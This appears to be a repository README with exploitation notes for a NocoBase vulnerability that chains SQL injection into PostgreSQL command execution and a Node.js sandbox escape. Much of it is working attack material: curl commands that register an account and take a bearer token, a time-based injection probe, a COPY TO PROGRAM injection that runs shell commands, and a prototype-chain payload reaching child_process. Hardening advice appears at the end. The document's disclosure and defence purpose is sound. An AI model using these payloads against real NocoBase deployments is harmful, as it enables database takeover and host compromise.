NocoBase security research and exploitation notes for CVE-2026-52887, structured for documentation and reproduction scripts.
NocoBase security research and exploitation notes for CVE-2026-52887, structured for documentation and reproduction scripts.
This repository documents the technical analysis and reproduction flow for CVE-2026-52887 affecting NocoBase prior to version 2.0.61. The research focuses on the vulnerable component @nocobase/plugin-notification-in-app-message and the chained exploitation path from unauthenticated/low-privilege SQL injection to PostgreSQL command execution and, in some scenarios, Node.js sandbox escape.
@nocobase/plugin-notification-in-app-messagelatestMsgReceiveTimestamp filter handling in defineMyInAppChannels.tsGET /api/myInAppChannels:list@nocobase/plugin-workflow-javascriptCOPY ... TO PROGRAM command execution@nocobase/plugin-notification-in-app-message vulnerability🔬 Step-by-Step Technical Breakdown: CVE-2026-52887 (NocoBase SQLi to PostgreSQL RCE & Sandbox Escape)
CVE-2026-52887 describes a critical (CVSS 10.0) chain affecting NocoBase prior to version 2.0.61. It bridges an unauthenticated/low-privilege application layer flaw straight into database takeover and, under certain conditions, host compromise via a Node.js VM sandbox breakout.
@nocobase/plugin-notification-in-app-message (defineMyInAppChannels.ts)GET /api/myInAppChannels:list endpoint accepts query filter parameters. Specifically, the $lt (less than) operator for the latestMsgReceiveTimestamp field is directly spliced into an SQL fragment without safe parameterization.allowSignUp: true) and expose this endpoint via ACL to any logged-in user (app.acl.allow('myInAppChannels', '*', ...)).An attacker registers an anonymous account, obtains a bearer token, and supplies a crafted injection payload through the query string:
# 1. Sign up and extract token
curl -X POST -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Password123!","confirm_password":"Password123!"}' \
http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H "Content-Type: application/json" \
-d '{"account":"attacker","password":"Password123!"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
# 2. Time-Based Injection Oracle Verification
curl -sG -H "Authorization: Bearer $TOKEN" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- "
COPY ... TO PROGRAM;).rolsuper=true) to the primary database role.COPY command to execute arbitrary operating system instructions via shell evaluation inside the database process.curl -sG -H "Authorization: Bearer $TOKEN" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwn.txt'; --"
This yields remote code execution as the postgres user inside the database container context.
If the attacker pivots from application components or uses JavaScript workflow plugins executing user input (@nocobase/plugin-workflow-javascript), NocoBase previously encapsulated code execution inside a constrained V8 context that could be escaped through exposed host object references.
console object passed directly into the isolated context exposes host-realm references (WritableWorkerStdio streams) through properties like console._stdout and console._stderr.// Prototype chain traversal payload executed inside workflow script nodes
const Fn = console._stdout.constructor.constructor;
const proc = Fn('return process')();
const cp = proc.mainModule.require('child_process');
// Executes commands as root / application container user
return cp.execSync('id').toString().trim();
COPY TO PROGRAM rights for application roles).allowSignUp: false in production configuration files to prevent anonymous users from establishing authenticated sessions.vm instances with hardened alternatives such as isolated-vm to eliminate prototype-chain leakage paths via standard objects like console.This repository documents a proof of concept and research notes for CVE-2026-52887. It is intended for defensive analysis, vulnerability awareness, and responsible disclosure guidance.